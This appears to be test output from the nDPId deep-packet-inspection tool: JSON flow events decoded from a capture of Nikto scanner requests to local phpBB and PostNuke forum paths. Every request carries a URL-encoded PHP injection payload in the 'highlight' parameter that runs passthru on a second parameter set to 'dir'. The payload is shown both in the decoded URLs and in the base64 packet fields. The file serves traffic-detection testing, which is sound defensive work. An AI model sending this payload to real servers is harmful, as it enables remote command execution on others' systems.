+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":659,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":659,"flow_packet_id":1,"flow_first_seen":1576420277758,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50880,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00845{"flow_id":659,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":659,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":758753,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"AAAAAAAAAAAAAAAACABFAAFmwkJAAEAGeU1\/AAABfwAAAcbAH5DScvtgYIpbaYAYAED\/WgAAAQEICp1m\/yadZv8mR0VUIC9tb2R1bGVzL2luZGV4LnBocD9OaWt0bz1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5MCkNCg0K"} +00927{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":659,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":659,"flow_packet_id":1,"flow_first_seen":1576420277758,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50880,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/modules\/index.php?Nikto=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001390)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":660,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":660,"flow_packet_id":1,"flow_first_seen":1576420277760,"flow_last_seen":0,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":336,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":336,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50882,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00847{"flow_id":660,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":660,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":760404,"pkt_caplen":370,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":370,"pkt_l4_len":336,"pkt":"AAAAAAAAAAAAAAAACABFAAFkSaBAAEAG8fF\/AAABfwAAAcbCH5CzknC\/qWQ1toAYAED\/WAAAAQEICp1m\/yidZv8oR0VUIC9waHBCQi9pbmRleC5waHA\/TmlrdG89Rm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTApDQoNCg=="} +00925{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":660,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":660,"flow_packet_id":1,"flow_first_seen":1576420277760,"flow_last_seen":0,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":336,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":336,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50882,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpBB\/index.php?Nikto=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001390)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":661,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":661,"flow_packet_id":1,"flow_first_seen":1576420277762,"flow_last_seen":0,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":336,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":336,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50884,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00847{"flow_id":661,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":661,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":762852,"pkt_caplen":370,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":370,"pkt_l4_len":336,"pkt":"AAAAAAAAAAAAAAAACABFAAFkl59AAEAGo\/J\/AAABfwAAAcbEH5DhFa6+6BKXhoAYAED\/WAAAAQEICp1m\/yqdZv8qR0VUIC9mb3J1bS9pbmRleC5waHA\/TmlrdG89Rm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTApDQoNCg=="} +00925{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":661,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":661,"flow_packet_id":1,"flow_first_seen":1576420277762,"flow_last_seen":0,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":336,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":336,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50884,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forum\/index.php?Nikto=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001390)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":662,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":662,"flow_packet_id":1,"flow_first_seen":1576420277764,"flow_last_seen":0,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":329,"flow_max_l4_data_len":329,"flow_avg_l4_data_len":329,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50886,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00834{"flow_id":662,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":662,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":764614,"pkt_caplen":363,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":363,"pkt_l4_len":329,"pkt":"AAAAAAAAAAAAAAAACABFAAFdzxpAAEAGbH5\/AAABfwAAAcbGH5DgufY6a2RlI4AYAED\/UQAAAQEICp1m\/yydZv8sR0VUIC9pbmRleC5waHA\/bmFtZT1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5MSkNCg0K"} +00917{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":662,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":662,"flow_packet_id":1,"flow_first_seen":1576420277764,"flow_last_seen":0,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":329,"flow_max_l4_data_len":329,"flow_avg_l4_data_len":329,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50886,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?name=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001391)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":663,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":663,"flow_packet_id":1,"flow_first_seen":1576420277766,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50888,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00846{"flow_id":663,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":663,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":766067,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"AAAAAAAAAAAAAAAACABFAAFm3WVAAEAGXip\/AAABfwAAAcbIH5DcNuRDgHH2c4AYAED\/WgAAAQEICp1m\/y2dZv8tR0VUIC9wb3N0bnVrZS9pbmRleC5waHA\/bmFtZT1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5MSkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00927{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":663,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":663,"flow_packet_id":1,"flow_first_seen":1576420277766,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50888,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/index.php?name=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001391)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":664,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":664,"flow_packet_id":1,"flow_first_seen":1576420277767,"flow_last_seen":0,"flow_tot_l4_data_len":343,"flow_min_l4_data_len":343,"flow_max_l4_data_len":343,"flow_avg_l4_data_len":343,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50890,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00853{"flow_id":664,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":664,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":767584,"pkt_caplen":377,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":377,"pkt_l4_len":343,"pkt":"AAAAAAAAAAAAAAAACABFAAFrfdxAAEAGva5\/AAABfwAAAcbKH5Cyd0T8zDk2q4AYAED\/XwAAAQEICp1m\/y+dZv8vR0VUIC9wb3N0bnVrZS9odG1sL2luZGV4LnBocD9uYW1lPWZvcnVtcyZmaWxlPXZpZXd0b3BpYyZ0PTImcnVzaD0lNjQlNjklNzImaGlnaGxpZ2h0PSUyNTI3LiU3MCU2MSU3MyU3MyU3NCU2OCU3MiU3NSUyOCUyNCU0OCU1NCU1NCU1MCU1ZiU0NyU0NSU1NCU1ZiU1NiU0MSU1MiU1MyU1YiU3MiU3NSU3MyU2OCU1ZCUyOS4lMjUyNyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzkxKQ0KDQo="} +00933{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":664,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":664,"flow_packet_id":1,"flow_first_seen":1576420277767,"flow_last_seen":0,"flow_tot_l4_data_len":343,"flow_min_l4_data_len":343,"flow_max_l4_data_len":343,"flow_avg_l4_data_len":343,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50890,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/html\/index.php?name=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001391)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":665,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":665,"flow_packet_id":1,"flow_first_seen":1576420277769,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50892,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00845{"flow_id":665,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":665,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":769107,"pkt_caplen":371,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":371,"pkt_l4_len":337,"pkt":"AAAAAAAAAAAAAAAACABFAAFl4jZAAEAGWVp\/AAABfwAAAcbMH5Dub9sXJ7s4LIAYAED\/WQAAAQEICp1m\/zGdZv8wR0VUIC9tb2R1bGVzL2luZGV4LnBocD9uYW1lPWZvcnVtcyZmaWxlPXZpZXd0b3BpYyZ0PTImcnVzaD0lNjQlNjklNzImaGlnaGxpZ2h0PSUyNTI3LiU3MCU2MSU3MyU3MyU3NCU2OCU3MiU3NSUyOCUyNCU0OCU1NCU1NCU1MCU1ZiU0NyU0NSU1NCU1ZiU1NiU0MSU1MiU1MyU1YiU3MiU3NSU3MyU2OCU1ZCUyOS4lMjUyNyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzkxKQ0KDQo="} +00926{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":665,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":665,"flow_packet_id":1,"flow_first_seen":1576420277769,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50892,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/modules\/index.php?name=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001391)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":666,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":666,"flow_packet_id":1,"flow_first_seen":1576420277770,"flow_last_seen":0,"flow_tot_l4_data_len":335,"flow_min_l4_data_len":335,"flow_max_l4_data_len":335,"flow_avg_l4_data_len":335,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50894,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00842{"flow_id":666,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":666,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":770569,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"AAAAAAAAAAAAAAAACABFAAFjvxlAAEAGfHl\/AAABfwAAAcbOH5BOc4Y2FZ1LBYAYAED\/VwAAAQEICp1m\/zKdZv8yR0VUIC9waHBCQi9pbmRleC5waHA\/bmFtZT1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTEpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00924{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":666,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":666,"flow_packet_id":1,"flow_first_seen":1576420277770,"flow_last_seen":0,"flow_tot_l4_data_len":335,"flow_min_l4_data_len":335,"flow_max_l4_data_len":335,"flow_avg_l4_data_len":335,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50894,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpBB\/index.php?name=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001391)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":667,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":667,"flow_packet_id":1,"flow_first_seen":1576420277772,"flow_last_seen":0,"flow_tot_l4_data_len":335,"flow_min_l4_data_len":335,"flow_max_l4_data_len":335,"flow_avg_l4_data_len":335,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50896,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00842{"flow_id":667,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":667,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":772090,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"AAAAAAAAAAAAAAAACABFAAFjEuZAAEAGKK1\/AAABfwAAAcbQH5A1ISvIAGoQJ4AYAED\/VwAAAQEICp1m\/zSdZv8zR0VUIC9mb3J1bS9pbmRleC5waHA\/bmFtZT1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTEpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00924{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":667,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":667,"flow_packet_id":1,"flow_first_seen":1576420277772,"flow_last_seen":0,"flow_tot_l4_data_len":335,"flow_min_l4_data_len":335,"flow_max_l4_data_len":335,"flow_avg_l4_data_len":335,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50896,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forum\/index.php?name=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001391)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":668,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":668,"flow_packet_id":1,"flow_first_seen":1576420277773,"flow_last_seen":0,"flow_tot_l4_data_len":330,"flow_min_l4_data_len":330,"flow_max_l4_data_len":330,"flow_avg_l4_data_len":330,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50898,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00838{"flow_id":668,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":668,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":773570,"pkt_caplen":364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":364,"pkt_l4_len":330,"pkt":"AAAAAAAAAAAAAAAACABFAAFe9U5AAEAGRkl\/AAABfwAAAcbSH5CRq8xwNBHz4IAYAED\/UgAAAQEICp1m\/zWdZv81R0VUIC9pbmRleC5waHA\/TmlrdG89Zm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzkxKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00918{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":668,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":668,"flow_packet_id":1,"flow_first_seen":1576420277773,"flow_last_seen":0,"flow_tot_l4_data_len":330,"flow_min_l4_data_len":330,"flow_max_l4_data_len":330,"flow_avg_l4_data_len":330,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50898,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?Nikto=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001391)"}} 